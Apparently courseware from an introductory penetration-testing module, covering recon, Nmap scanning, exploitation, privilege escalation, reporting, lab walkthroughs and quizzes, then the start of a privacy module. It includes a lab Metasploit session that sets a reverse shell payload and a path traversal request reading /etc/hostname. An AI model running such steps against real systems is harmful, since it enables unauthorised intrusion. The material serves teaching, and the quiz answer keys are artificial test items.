A tester working on Example Corp spends the first day on scoping and OSINT, then enumerates hosts at 198.51.100.0/28 and finds an outdated file transfer service. They validate the flaw, obtain a limited shell on a test server and discover stored credentials, which they use to reach an internal database in scope. They stop there, record each step with timestamps and phone the client's contact about the critical exposure the same day, then write the full report with remediation advice.

KEY TERMS

PTES: Penetration Testing Execution Standard describing seven phases.

Threat modeling: Identifying valuable assets and likely attack paths.

OWASP WSTG: A guide for testing web application security.

Foothold: Initial access to a system during a test.

Time-boxing: Limiting the time spent on one task.

Retest: A follow-up test confirming that fixes work.

REMEMBER

- Follow a method: PTES or a similar standard.
- Phases feed each other and repeat as access grows.
- Keep detailed notes and communicate critical findings early.

QUICK CHECK

1. Which PTES phase comes immediately before exploitation?
 - A) Reporting
 - B) Vulnerability analysis
 - C) Post-exploitation
 - D) Retesting
2. Why report critical findings immediately?
 - A) To increase the price
 - B) Waiting could leave serious exposure open
 - C) The report is optional
 - D) To delete logs
3. Which standard focuses on web application testing?
 - A) OWASP WSTG
 - B) OSI model
 - C) RFC 791
 - D) PCI DSS
4. Testing is described as iterative because:
 - A) Tools restart
 - B) New access reveals new targets and returns the tester to enumeration
 - C) Clients change prices
 - D) Scans loop forever

Answers: 1-B 2-B 3-A 4-B

1. You find and validate weaknesses before exploiting them.
2. Critical exposures should not wait for the final report.
3. The Web Security Testing Guide covers web tests.
4. Each foothold opens further reconnaissance and testing.

Reconnaissance and OSINT

Reconnaissance builds the picture of the target, and much of it needs no direct contact with the target at all.

Passive versus active

Passive reconnaissance gathers information without interacting with the target's systems, using public sources, so it leaves no trace in the target's logs. Active reconnaissance sends traffic to the target, such as DNS queries to its servers or port scans, and can be detected. Passive work happens first and uses open source intelligence (OSINT). Typical goals are domains and subdomains, IP ranges, employees and email formats, technologies in use, third-party providers, leaked credentials and exposed documents. Everything found must still be checked against the scope before any active step.

DNS, whois and certificates

The whois service shows registration data for domains and IP blocks, such as registrar, creation date and name servers, although many fields are redacted for privacy. DNS records reveal infrastructure: A and AAAA for addresses, MX for mail, NS for name servers, TXT for SPF and verification strings and CNAME for aliases. Tools like dig and nslookup query them. A zone transfer (AXFR) request should be refused by properly configured servers. Certificate Transparency logs, searchable through crt.sh, list issued certificates and reveal subdomains such as vpn.example.com or dev.example.com.

Search engines and internet scanners

Google dorks use operators to find exposed content: site:example.com filetype:pdf finds documents, intitle:"index of" can reveal open directory listings, and inurl: finds specific paths. Shodan and Censys continuously scan the internet and index banners, so you can see which services and versions an organization exposes without scanning yourself. theHarvester collects emails, names and subdomains from search engines and public sources. Wappalyzer or whatweb-style fingerprinting shows web technologies. Social media and job postings reveal technology stacks, naming conventions and staff roles.

Using results responsibly

Organize findings in a notes tool: asset, source, date and confidence. Verify that discovered assets belong to the client; shared hosting and cloud addresses may belong to others. Limit personal data collection to what the engagement needs. Defenders can reduce exposure by removing metadata from documents, trimming public staff details, monitoring Certificate Transparency for unknown certificates, securing DNS, closing unneeded exposed services and checking what Shodan says about their own ranges. Reconnaissance defines the attack surface, so it is equally useful in an organization's own asset management.

TERMINAL OUTPUT

```
$ whois example.com | head -5
Domain Name: EXAMPLE.COM
Registrar: Example Registrar, Inc.
Name Server: A.IANA-SERVERS.NET
$ dig +short MX example.com
0 .
$ dig +short TXT example.com
"v=spf1 -all"
```

WORKED EXAMPLE

For the fictional Example Corp, passive research finds that Certificate Transparency lists vpn.example.com, dev.example.com and old-portal.example.com. Shodan shows dev.example.com exposing a development web server on 198.51.100.12 with a version banner, and a job posting mentions a particular content management system. None of this touched the client. The tester confirms all three hosts fall within scope, flags old-portal as a likely forgotten asset, and plans active scanning for the next phase.

KEY TERMS

OSINT: Intelligence gathered from public sources.

Passive recon: Collecting information without touching the target.

Certificate Transparency: Public logs of issued TLS certificates.

Google dork: A search query using operators to find exposed information.

Shodan: A search engine indexing internet-facing service banners.

AXFR: A DNS zone transfer request that should be restricted.

REMEMBER

- Passive recon uses public data and leaves no trace.
- DNS, whois, CT logs, dorks and Shodan reveal infrastructure.
- Verify scope and ownership before moving to active steps.

QUICK CHECK

1. Which is passive reconnaissance?
 - A) Port scanning the target
 - B) Searching Certificate Transparency logs
 - C) Brute forcing logins
 - D) Sending exploit traffic
2. Which DNS record type shows mail servers?
 - A) A
 - B) MX
 - C) NS
 - D) PTR
3. What does Shodan provide?
 - A) Exploits
 - B) Indexed banners of internet-exposed services
 - C) Password hashes
 - D) Source code
4. A defender can reduce recon exposure by:
 - A) Publishing org charts
 - B) Removing metadata and unneeded exposed services
 - C) Keeping forgotten subdomains
 - D) Allowing zone transfers

Answers: 1-B 2-B 3-B 4-B

1. CT log searches use public data and do not touch the target.
2. MX records list mail exchangers.
3. It indexes responses from services on the internet.
4. Less public information and fewer exposed services reduce the attack surface.

Scanning and enumeration

Scanning turns a list of addresses into a map of live hosts, open ports and exact service versions, which drives every later decision.

Host discovery and port scanning

Nmap is the standard network scanner. Host discovery with `nmap -sn 198.51.100.0/28` checks which hosts are up using ping, ARP on local networks and probes to common ports, without scanning ports. The default scan checks the 1000 most common TCP ports. A SYN scan (`-sS`) sends SYN packets and does not complete the handshake, so it is fast and needs root privileges. A connect scan (`-sT`) uses the full TCP handshake and works without privileges. UDP scans (`-sU`) are slower because open ports may not answer. Port states are open, closed, filtered (a firewall dropped the probe) and open|filtered.

Service and version detection

The `-sV` option probes open ports to identify the service and version, using banners and responses. The `-O` option guesses the operating system, and `-A` enables several detections at once. Version data is what links a host to known vulnerabilities. Timing options such as `-T3` (default) and `-T4` balance speed and noise, and slower scans are quieter. The `-p` option sets ports, for example `-p 1-65535` or `-p 22,80,443`. Output formats like `-oA` save normal, XML and greppable results together, which is useful for reports and later parsing.

Nmap Scripting Engine

The Nmap Scripting Engine (NSE) runs Lua scripts for detection and enumeration. Categories include default, safe, discovery, vuln and auth. Running `-sC` uses the default set. Examples: `http-title` shows a page title, `ssl-cert` shows certificate details, `smb-os-discovery` reveals Windows host information, and `ftp-anon` checks for anonymous FTP. Scripts in the vuln or exploit categories can be intrusive and may crash services, so only run them within the rules of engagement. Always read what a script does before running it on production.

Enumeration of SMB and web services

Enumeration extracts detailed information from specific services. For SMB (ports 139 and 445), tools such as `smbclient` and `enum4linux-ng` can list shares, users and policies, and anonymous or guest access is a common finding. For web servers, check the server header, `robots.txt`, directory listings and use content discovery tools such as `gobuster` or `ffuf` with a wordlist to find hidden paths, at a rate agreed with the client. Also enumerate SNMP with community strings, DNS, LDAP and databases. Defenders reduce results by disabling anonymous access, hiding banners, patching, restricting management interfaces and filtering ports.

NMAP OUTPUT

```
$ nmap -sV -sC 198.51.100.10
PORT STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 8.4p1 Debian
80/tcp open  http Apache httpd 2.4.38
|_http-title: Example Corp Intranet
445/tcp open  netbios-ssn Samba smbd 4.9.5
3306/tcp filtered mysql
```

WORKED EXAMPLE

The output above shows SSH, a web server, SMB and a filtered MySQL port. The tester notes that Apache 2.4.38 is old and checks for known issues, runs SMB enumeration and finds an anonymous share named backups. MySQL is filtered, meaning a firewall blocks it from outside, which is correct. In the report, the open anonymous share becomes a finding, and the filtered database port is recorded as good practice. All commands and timestamps are saved with `-oA`.

KEY TERMS

SYN scan: A fast scan that sends SYN packets without completing the handshake.

Filtered port: A port where a firewall drops or blocks probes.

-sV: Nmap option that detects service versions.

NSE: Nmap Scripting Engine, which runs Lua scripts.

Enumeration: Extracting detailed information from a discovered service.

Content discovery: Finding hidden web paths using wordlists.

REMEMBER

- Discover hosts, scan ports, then detect versions.
- NSE scripts add detection and enumeration but can be intrusive.
- Enumerate SMB and web services for shares, users and hidden paths.

QUICK CHECK

1. Which Nmap option detects service versions?

- A) -sn
- B) -sV
- C) -oA
- D) -T0

2. A port shown as filtered usually means:

- A) It is open
- B) A firewall is blocking probes
- C) The host is down
- D) It runs UDP

3. Which scan does not require raw socket privileges?

- A) -sS
- B) -sT
- C) -sU
- D) -O

4. Why be careful with NSE vuln scripts?

- A) They are slow only
- B) Some are intrusive and can crash services
- C) They need no scope
- D) They are encrypted

Answers: 1-B 2-B 3-B 4-B

1. -sV probes open ports for version details.
2. Filtered means probes get no clear answer because of filtering.
3. A connect scan uses the normal TCP connect call.
4. Intrusive scripts can disrupt systems and must follow the RoE.

Exploitation overview

Exploitation shows whether a weakness is real and what an attacker could do with it, always inside the agreed lab or scope.

From finding to exploit

Exploitation means using a vulnerability to gain access or control. A tester first matches service versions to known flaws, using NVD, vendor advisories and Exploit-DB, and confirms the target is truly vulnerable. Prefer the least risky path that proves impact: a misconfiguration or weak credential is often safer than a memory corruption exploit that could crash a service. Check the stability notes, test in a lab copy when possible, have a rollback plan and avoid destructive payloads. Explain impact to the client, not just success.

Metasploit concepts

The Metasploit Framework organizes exploitation into modules. Exploit modules take advantage of a vulnerability, auxiliary modules scan or enumerate, payloads define what runs after success, encoders and post modules extend capabilities. Workflow in the msfconsole: search for a module, use it, view and set options such as RHOSTS (target) and LHOST (the tester's address), choose a payload, then run. Options must match the scope exactly. Metasploit also stores hosts and credentials in a workspace database, which helps with reporting. Other tools include searchsploit, custom scripts and framework alternatives.

Payloads and sessions

A payload is what executes on the target after the exploit. A reverse shell makes the target connect back to the tester, which works through firewalls that allow outbound traffic, while a bind shell opens a listening port on the target. Staged payloads send a small first stage that downloads the rest, and stageless payloads contain everything in one piece. Meterpreter is an in-memory Metasploit payload with many features. Defenders can detect these through egress filtering, EDR alerts on unusual process behavior, network monitoring for unexpected outbound connections and application allow listing.

Web exploitation in scope

Web testing follows the OWASP Top 10: injection, broken access control, authentication failures, cryptographic failures, misconfiguration and others. Testers use an intercepting proxy such as Burp Suite or OWASP ZAP to inspect and modify requests, and check input handling, session management and access control between users. In labs, intentionally vulnerable applications such as DVWA or OWASP Juice Shop are used for practice. Findings should record the request, the response, the affected parameter and the impact. Defenders fix root causes with input validation, parameterized queries, output encoding, patching and a web application firewall as an additional layer.

METASPLOIT-STYLE SESSION (LAB)

```
msf6 > search type:exploit examplehttpd
msf6 > use exploit/lab/examplehttpd_traversal
msf6 > set RHOSTS 192.0.2.70
msf6 > set PAYLOAD generic/shell_reverse_tcp
msf6 > set LHOST 192.0.2.5
msf6 > run
[*] Command shell session 1 opened (lab only)
```

WORKED EXAMPLE

In a sandbox with written scope for 192.0.2.70, the tester finds ExampleHTTPd 2.4.1 and matches it to a known path traversal flaw. Rather than a risky memory exploit, they select the traversal module, set RHOSTS to the lab host and a reverse shell payload with LHOST as the tester machine, and obtain a low-privilege shell. They record the module, options and output, then stop and report that unpatched software lets an unauthenticated attacker read files and run commands.

KEY TERMS

Exploit: Code or technique that takes advantage of a vulnerability.

Payload: The code that runs on the target after exploitation.

Reverse shell: A shell where the target connects back to the attacker.

Auxiliary module: A Metasploit module for scanning or enumeration.

RHOSTS: Metasploit option naming the remote target.

Intercepting proxy: A tool such as Burp Suite that inspects and modifies web traffic.

REMEMBER

- Confirm vulnerability, choose the safest proof of impact.
- Metasploit uses exploit, payload and options like RHOSTS and LHOST.
- Defenders detect with egress control, EDR and patching.

QUICK CHECK

1. In Metasploit, RHOSTS sets:

- A) The attacker address
- B) The target address
- C) The payload size
- D) The log path

2. A reverse shell:

- A) Opens a port on the target
- B) Connects from the target back to the tester
- C) Needs no network
- D) Is always encrypted

3. Which control helps detect reverse shells?

- A) Egress filtering and monitoring
- B) Larger disks
- C) Longer passwords only
- D) Open firewalls

4. Why prefer a misconfiguration finding over a memory exploit when proving impact?

- A) It is more exciting
- B) It is usually safer for production stability
- C) It needs no scope
- D) It avoids reporting

Answers: 1-B 2-B 3-A 4-B

1. RHOSTS is the remote host to target.
2. The target initiates the connection back.
3. Monitoring and restricting outbound traffic exposes unusual callbacks.
4. Lower risk of crashing services while still proving impact.

Post-exploitation

Post-exploitation answers the question 'so what?' by showing what an attacker could reach once inside, and it must be done carefully and cleaned up.

Goals and discipline

After gaining access, the tester determines what the access is worth: which data, systems and privileges are reachable. Activities must stay in scope, follow the RoE, and avoid damaging data. Stop when the objective is proven; there is no need to copy real sensitive data, and a small proof such as a file listing or a harmless marker file is enough. Document every action. Frameworks describe attacker behavior after entry: MITRE ATT&CK tactics such as privilege escalation, credential access, discovery, lateral movement and persistence. Defenders map detections to those tactics.

Privilege escalation and credentials

Privilege escalation raises access from a normal user to administrator or root. On Linux common weaknesses include sudo rules that allow dangerous programs, SUID binaries that can be abused, writable cron jobs, weak file permissions and outdated kernels. On Windows they include unquoted service paths, weak service permissions, stored credentials and misconfigured token privileges. Credential access means finding passwords, keys and tokens in files, history, memory and configuration. Defenders respond with least privilege, patching, removing unneeded SUID files, protecting credential stores, LAPS and credential guard features.

Lateral movement and persistence

Lateral movement uses obtained credentials or trust relationships to reach other machines, for instance via SSH keys, SMB, WinRM or remote management tools. Pass-the-hash and pass-the-ticket reuse authentication material without knowing a password, which is why segmentation, unique local admin passwords and tiered administration matter. Persistence keeps access across reboots: scheduled tasks, services, startup entries, new accounts or authorized keys. In a pentest persistence is used rarely, only if the RoE allows it, and every artifact is recorded for removal. Real attackers use the same methods, so detections look for new accounts, new services and unusual authentication.

Cleanup and evidence

Cleanup returns the environment to its original state: remove tools, test accounts, files and persistence mechanisms, restore changed settings and tell the client about anything that could not be removed. Provide a list of artifacts and hashes so the SOC can distinguish them from real compromise. Do not erase logs; deleting logs destroys the client's evidence and may be prohibited. Keep proof of access, such as screenshots and command output, in encrypted storage and destroy test data after the retention period in the contract. Honest cleanup is part of professional ethics.

PRIVILEGE AUDIT OUTPUT (LAB)

```
$ id
uid=1001(labuser) gid=1001(labuser)
$ sudo -l
(root) NOPASSWD: /usr/bin/examplebackup

Finding: labuser may run one maintenance
binary as root without a password.
```

WORKED EXAMPLE

On a sandbox host, an audit shows that the account labuser is allowed to run one maintenance utility as root without entering a password. Public privilege-escalation checklists list this exact pattern as risky, because a program that runs with root rights can sometimes be steered into giving the invoking user a root shell. The tester records the sudo rule as the finding, confirms in the lab that elevated access results, stops there, and recommends removing the rule or restricting the utility to a safer, logged wrapper.

KEY TERMS

Privilege escalation: Raising access from a limited account to administrator or root.

SUID bit: A file permission that runs a program with its owner's privileges.

Credential access: Finding stored passwords, keys or tokens on a system.

Lateral movement: Using existing access or credentials to reach other hosts.

Persistence: Techniques that keep access available after a reboot.

Pass-the-hash: Reusing a captured password hash to authenticate without the plaintext.

REMEMBER

- Post-exploitation shows real impact without unnecessary risk or data copying.
- Privilege escalation, credential access, lateral movement and persistence are named ATT&CK tactics.
- Clean up test artifacts and never delete the client's own logs.

QUICK CHECK

1. Which MITRE ATT&CK tactic involves moving from one compromised host to another?
 - A) Persistence
 - B) Lateral movement
 - C) Reconnaissance
 - D) Reporting
2. An overly permissive sudo rule on a maintenance binary is risky mainly because:
 - A) It increases disk usage
 - B) It can let a limited account effectively act as root
 - C) It slows the CPU
 - D) It changes the hostname
3. Pass-the-hash attacks matter because they show why organizations should:
 - A) Reuse the same local admin password everywhere
 - B) Use unique local admin credentials and segment networks
 - C) Disable all logging
 - D) Avoid patching
4. What should a tester do with temporary accounts or files created during post-exploitation?
 - A) Leave them for the client to find
 - B) Remove them during cleanup and report any that could not be removed
 - C) Publish them
 - D) Encrypt them and keep forever

Answers: 1-B 2-B 3-B 4-B

1. Lateral movement describes spreading across a network using existing access.
2. A program running with root rights can sometimes be misused to reach a root shell.
3. Unique credentials and segmentation limit how far a stolen hash can be reused.
4. Cleanup restores the environment and avoids leaving usable access behind.

Reporting and remediation advice

A finding only improves security once it is written so that a developer or administrator can understand and fix it.

Structuring the report

A pentest report usually opens with an executive summary for non-technical readers: scope, overall risk posture, number of findings by severity and top recommendations. The technical section follows with one entry per finding: title, affected asset, CVSS score and vector, description, evidence (requests, screenshots, command output), business impact and clear reproduction steps. An appendix lists tools, dates, in-scope assets and raw output. Reports should be written assuming the reader was not present during testing.

Writing findings well

Each finding needs enough detail for a defender to reproduce and verify the fix, but should avoid unnecessary danger: use the sandbox addresses and redact unrelated sensitive data such as unrelated personal information or full credential values. Separate the technical root cause (for example, missing input validation) from the business impact (unauthorized access to records) so different readers get what they need. Rank severity using CVSS plus context such as exposure and data sensitivity, matching the prioritization approach used in vulnerability management.

Remediation advice

Good remediation advice is specific and ranked: fix the root cause first, for example patch the framework or add parameterized queries, then suggest compensating controls like a web application firewall rule for the short term. Group related findings so one engineering task closes several items. Give realistic timeframes aligned with the organization's SLA policy. Avoid vague advice such as 'improve security'; instead name the exact configuration, header or code change needed, and reference the relevant standard such as OWASP guidance.

Delivery and follow-up

Reports are usually delivered through an encrypted channel or a secure portal, with a readout meeting to walk through findings and answer questions. Many engagements include a retest to confirm fixes, which should check each finding specifically rather than repeating a full scan. Track findings to closure in a register. A professional final step is to thank the client's team and offer to clarify anything, since the goal is a safer system, not just a delivered document.

FINDING ENTRY (SAMPLE)

```
Finding: Outdated web framework allows path traversal
Severity: High CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Asset: 198.51.100.12 (dev.example.com)
Evidence: GET /files?name=../../etc/hostname returned file contents
Impact: Unauthorized read access to server files
Fix: Upgrade to version 2.4.3 or later; validate and
    canonicalize file path input
```

WORKED EXAMPLE

The sample finding above gives the executive reader a one-line business risk (unauthorized file access) and gives the engineering reader the exact request, affected host and fixed version needed to verify and resolve the issue. The report groups this with two similar framework findings under one remediation task, assigns it a 30 day SLA matching the High severity policy, and schedules a retest after the patch window to confirm the fix worked.

KEY TERMS

Executive summary: A non-technical overview of scope, risk and top recommendations.

Reproduction steps: Clear instructions letting a defender verify a finding.

Remediation advice: Specific guidance on how to fix a finding's root cause.

Compensating control: A short-term safeguard used while a full fix is prepared.

Retest: Verification testing performed after fixes are applied.

Findings register: A tracked list of findings through to closure.

REMEMBER

- Structure reports for both executive and technical readers.

- Write clear, reproducible findings with ranked, specific remediation.
- Deliver securely, hold a readout, and retest fixes.

QUICK CHECK

1. Who is the executive summary mainly written for?
 - A) Penetration testers
 - B) Non-technical decision makers
 - C) Search engines
 - D) Attackers
2. A finding's reproduction steps should allow:
 - A) Only the original tester to repeat it
 - B) A defender to verify and later confirm the fix
 - C) The report to be shorter
 - D) Faster scanning
3. Why group related findings under one remediation task?
 - A) To hide issues
 - B) Because one fix, such as a framework upgrade, can close several findings
 - C) To raise the price
 - D) To avoid retesting
4. What typically follows report delivery?
 - A) Nothing further
 - B) A readout meeting and often a retest
 - C) Immediate public disclosure
 - D) Deleting all evidence

Answers: 1-B 2-B 3-B 4-B

1. It gives leadership a plain-language view of risk and priorities.
2. Clear steps let the client's own team validate and retest.
3. Grouping efficient fixes reduces duplicate engineering work.
4. Walking through findings and retesting fixes are standard follow-ups.

Check scope before testing

SCENARIO

You are given a signed rules-of-engagement document for Example Corp listing in-scope ranges, allowed techniques and a testing window, plus a list of eight possible actions.

OBJECTIVE

Decide which of the eight actions are in scope and which are out of scope.

STEPS IN THE SIMULATOR

- 1 **Do:** Read the RoE: in-scope 198.51.100.0/28, allowed scanning and web testing, forbidden denial of service and social engineering, window 22:00-06:00 UTC.

Simulator shows:

Document loaded in the scenario panel.

- 2 **Do:** Review action 1: port scan 198.51.100.5 at 23:00 UTC.

Simulator shows:

In scope: correct IP range and time window.

- 3 **Do:** Review action 2: port scan 203.0.113.9 (not listed).

Simulator shows:

Out of scope: IP range not listed.

- 4 **Do:** Review action 3: send a phishing email to staff to test awareness.

Simulator shows:

Out of scope: social engineering is forbidden.

- 5 **Do:** Review action 4: run a heavy load test that could crash a server.

Simulator shows:

Out of scope: resembles denial of service, forbidden.

- 6 **Do:** Review action 5: enumerate web directories on test.example.com at 02:00 UTC.

Simulator shows:

In scope: listed target, correct window.

- 7 **Do:** Review the remaining three actions and submit your answers.

Simulator shows:

Checker: 5 of 8 correctly marked in scope; 3 correctly marked out of scope.

ANSWER

In-scope actions are those against listed IP ranges or domains, using allowed techniques, within the testing window. Scanning an unlisted address, sending phishing emails, and load testing that could cause denial of service are all out of scope under this RoE and must not be performed without written approval to add them.

Hint shown in the app: Check each action against the IP range, allowed techniques list and time window, not just plausibility.

Passive recon on a target

SCENARIO

Example Corp asked only for passive information gathering before the active phase begins. You have access to a web-proxy style OSINT simulator with search, DNS and certificate lookup panels.

OBJECTIVE

Gather subdomains, emails and technology details from sandbox OSINT sources without touching the target.

STEPS IN THE SIMULATOR

- 1 **Do:** Search Certificate Transparency for example.com.

Simulator shows:

Returns vpn.example.com, dev.example.com, old-portal.example.com.

- 2 **Do:** Run a DNS lookup on dev.example.com.

Simulator shows:

A record: 198.51.100.12; no AAAA.

- 3 **Do:** Search a people/email finder for example.com staff.

Simulator shows:

Finds 6 email addresses in format first.last@example.com.

- 4 **Do:** Search job postings mentioning Example Corp technology.

Simulator shows:

One posting mentions a specific content management system and a cloud provider.

- 5 **Do:** Check whois for example.com registration details.

Simulator shows:

Registrar and creation date shown; registrant identity redacted.

- 6 **Do:** Compile the OSINT summary and submit.

Simulator shows:

Checker: summary includes 3 subdomains, 6 emails, 1 CMS hint, no direct contact with hosts.

ANSWER

The OSINT summary lists three subdomains from Certificate Transparency, six staff email addresses in a consistent format useful for later authorized testing, and a technology hint from a job posting, all gathered without a single packet sent to the target's own infrastructure.

Hint shown in the app: Favor public records, search engines and certificate logs over anything that touches the target directly.

Scan with Nmap

SCENARIO

You have authorization to scan the lab range 198.51.100.0/28 from a terminal simulator.

OBJECTIVE

Run host discovery, a service scan and default scripts, then interpret the open ports and versions.

STEPS IN THE SIMULATOR

- 1 Do:** Run: `nmap -sn 198.51.100.0/28`

Simulator shows:

4 hosts up: .5, .10, .12, .14.

- 2 Do:** Run: `nmap -sV -sC 198.51.100.10`

Simulator shows:

22/tcp ssh OpenSSH 8.4; 80/tcp http Apache 2.4.38; 445/tcp smb Samba 4.9.5.

- 3 Do:** Run: `nmap -sV -sC 198.51.100.12`

Simulator shows:

80/tcp http nginx 1.18; 3306/tcp filtered mysql.

- 4 Do:** Read the http-title script output for .12.

Simulator shows:

Title: 'Internal Dev Portal - staging'.

- 5 Do:** Run: `nmap -sV -p- 198.51.100.14`

Simulator shows:

21/tcp ftp vsFTPD 2.3.4; anonymous login allowed per script note.

- 6 Do:** Summarize findings by host and risk.

Simulator shows:

Checker: identifies outdated Apache, anonymous FTP and exposed dev portal as notable items.

ANSWER

Four hosts are live. Host .10 runs an aging Apache version and SMB; .12 exposes an internal-looking staging portal with a filtered database port behind it, which is good practice; .14 allows anonymous FTP login, a common and risky misconfiguration worth flagging as a finding.

Hint shown in the app: Compare each open port's version against what you would expect for a hardened production host, and note anything marked anonymous or default.

Exploit a vulnerable service

SCENARIO

Within the agreed scope, a lab host at 192.0.2.70 runs a vulnerable service matched during scanning. You will use a sandboxed Metasploit-style console to confirm impact safely.

OBJECTIVE

Select a matching module, set options correctly, and obtain a shell in the lab only.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: search type:exploit examplehttpd

Simulator shows:

One matching module: exploit/lab/examplehttpd_traversal.

- 2 **Do:** Run: use exploit/lab/examplehttpd_traversal

Simulator shows:

Module loaded; options listed: RHOSTS, RPORT, PAYLOAD, LHOST.

- 3 **Do:** Run: set RHOSTS 192.0.2.70

Simulator shows:

RHOSTS => 192.0.2.70.

- 4 **Do:** Run: set PAYLOAD generic/shell_reverse_tcp

Simulator shows:

PAYLOAD set.

- 5 **Do:** Run: set LHOST 192.0.2.5

Simulator shows:

LHOST => 192.0.2.5 (tester's lab address).

- 6 **Do:** Run: run

Simulator shows:

Session 1 opened (sandbox only); low-privilege shell confirmed.

- 7 **Do:** Run: sessions -l and record the result.

Simulator shows:

1 active session logged with timestamp for the report.

ANSWER

Setting RHOSTS to the lab target and LHOST to the tester's own lab address, with a matching module and payload, produces a low-privilege shell confirming the path traversal flaw is exploitable. The session is recorded with a timestamp for the report and then closed; no destructive action is taken.

Hint shown in the app: RHOSTS is always the target, LHOST is always the tester's own listening address.

Escalate privileges

SCENARIO

A low-privilege account on a lab host may be configured with unusual rights. You are asked to audit, not exploit further than necessary to confirm the risk.

OBJECTIVE

Enumerate configured rights on a sandbox host and confirm whether elevated access is possible.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: `id`

Simulator shows:

`uid=1001(labuser) gid=1001(labuser).`

- 2 **Do:** Run: `sudo -l`

Simulator shows:

Shows labuser may run one maintenance utility as root, NOPASSWD.

- 3 **Do:** Look up the utility in a privilege-escalation reference inside the sim.

Simulator shows:

Reference flags this utility as commonly abusable for a root shell.

- 4 **Do:** Confirm in the lab whether elevated access results.

Simulator shows:

Sandbox confirms: elevated shell obtained, `uid=0`.

- 5 **Do:** Record the finding instead of exploring further.

Simulator shows:

Finding logged: overly permissive sudo rule, CWE-269.

- 6 **Do:** Exit the elevated shell and note cleanup needed.

Simulator shows:

No persistent changes made; nothing to clean up.

ANSWER

The audit confirms that the sudo rule on one maintenance utility lets a low-privilege account obtain a root shell, matching a well-known privilege-escalation pattern (CWE-269, improper privilege management). The tester records the finding with evidence and recommends removing the NOPASSWD rule or replacing the utility with a restricted, logged wrapper, without exploring further than needed to confirm impact.

Hint shown in the app: Check sudo rights first, then compare any unusual allowed program against known escalation references rather than guessing.

Offensive Security Intro: 10 questions, 80% to pass

1. What document defines exactly which systems and techniques a tester may use?
 - A) NDA
 - B) Rules of engagement
 - C) Resume
 - D) Press release
2. A grey box test means the tester has:
 - A) No information
 - B) Partial information such as an account or diagram
 - C) Full source code
 - D) Only a press release
3. Which PTES phase involves proving a weakness can actually be used?
 - A) Reporting
 - B) Exploitation
 - C) Pre-engagement
 - D) Threat modeling
4. Searching Certificate Transparency logs for subdomains is an example of:
 - A) Active scanning
 - B) Passive reconnaissance
 - C) Exploitation
 - D) Post-exploitation
5. Which Nmap option identifies service versions on open ports?
 - A) -sn
 - B) -sV
 - C) -oA
 - D) -T0
6. In Metasploit, which option specifies the tester's own listening address for a reverse shell?
 - A) RHOSTS
 - B) LHOST
 - C) RPORT
 - D) PAYLOAD size
7. Finding that a low-privilege account can run a risky program as root without a password relates to which post-exploitation activity?
 - A) Reconnaissance
 - B) Privilege escalation
 - C) Reporting
 - D) Scoping
8. What should a tester do before using any destructive technique?
 - A) Just try it
 - B) Confirm it is within the RoE and prefer the least risky proof
 - C) Disable logging
 - D) Skip scoping
9. A pentest report's executive summary is aimed at:
 - A) Other testers only
 - B) Non-technical decision makers
 - C) Search engines
 - D) Attackers
10. What usually follows delivery of a pentest report?
 - A) Nothing
 - B) A readout meeting and often a retest
 - C) Immediate public release
 - D) Deleting the findings

Answers: 1-B 2-B 3-B 4-B 5-B 6-B 7-B 8-B 9-B 10-B

1. The RoE sets the boundaries of the engagement.
2. Grey box sits between black box and white box in prior knowledge.
3. Exploitation demonstrates real impact from a vulnerability.
4. It uses public records and does not touch the target.
5. -sV performs service and version detection.
6. LHOST is the local host the target connects back to.
7. This is a classic privilege escalation finding.
8. Safety and authorization come before risky actions.
9. It communicates risk and priorities in plain language.
10. Clients review findings and verify fixes afterward.

Privacy and Compliance

Beginner | 4 lessons | 3 simulated labs | checkpoint | about 3h

This module covers data protection and compliance: how to classify data by sensitivity, what GDPR and CCPA require, how data loss prevention, retention and secure disposal work, and how major frameworks such as PCI DSS, HIPAA, SOX, SOC 2 and ISO 27001 compare. These topics appear constantly in security roles because almost every control decision also has a privacy or compliance angle, and certification exams test this vocabulary directly.

BY THE END YOU CAN

- + Identify PII and classify data by sensitivity
- + Summarize GDPR and CCPA rights and obligations
- + Apply DLP, retention and compliance framework basics

IN THIS MODULE

Lesson 1 PII, data classification and handling

Lesson 2 GDPR and CCPA basics

Lesson 3 DLP, retention and disposal

Lesson 4 Compliance frameworks overview

Lab 1 Classify a data set (File explorer)

Lab 2 Handle a data subject request (Scenario)

Lab 3 Tune a DLP policy (Config editor)

Checkpoint 10 questions, 80% to pass

PII, data classification and handling

Not all data deserves the same protection, and knowing how to classify it correctly is the first step in handling it safely.

Classification levels

Organizations commonly use four classification levels. Public data causes no harm if disclosed, such as marketing material. Internal data is meant for employees only, such as internal memos, and mild harm follows disclosure. Confidential data could cause real business harm if exposed, such as contracts or source code. Restricted (or highly confidential) data would cause severe harm, legal liability or regulatory penalties, such as health records or payment card data. Each level maps to handling rules: encryption requirements, who may access it, and how it may be shared or stored.

PII, PHI and cardholder data

Personally identifiable information (PII) is data that can identify a specific person, directly (a name, government ID number, email) or indirectly when combined with other data (a birth date plus zip code). Protected health information (PHI) is health-related data tied to an identifiable person, covered by HIPAA in the US, including diagnoses, treatment and billing records. Cardholder data includes the primary account number (PAN), cardholder name, expiration date and service code, protected under PCI DSS; full magnetic stripe data and CVV must never be stored after authorization.

Labeling and handling rules

A classification policy names who can label data, how labels are applied (document headers, metadata tags, database column rules), and default rules for data that is not labeled, which is usually treated as confidential until confirmed otherwise. Handling rules follow the label: encryption at rest and in transit, access limited to a need-to-know basis, approved storage locations, rules for printing or removable media, and secure disposal methods. Mislabeling data too low is dangerous, but labeling everything restricted also fails, since teams then ignore labels that no longer carry meaning.

Data mapping and ownership

Before you can classify data you have to know where it lives. Data mapping or a data inventory records what data exists, where it is stored, who owns it, who can access it, and which regulations apply. Data owners, usually a business role rather than IT, are accountable for classification decisions and access approvals. Data custodians, such as IT or database administrators, implement the technical controls. Without a current inventory, classification exercises target only the data people remember, missing shadow IT systems, old exports and forgotten backups that often carry the highest risk.

CLASSIFICATION TABLE

Level	Example	Control
Public	Press release	None required
Internal	Internal wiki page	Login required
Confidential	Signed contract	Encrypt, need-to-know
Restricted	Patient diagnosis (PHI)	Encrypt, audit log, strict access list

WORKED EXAMPLE

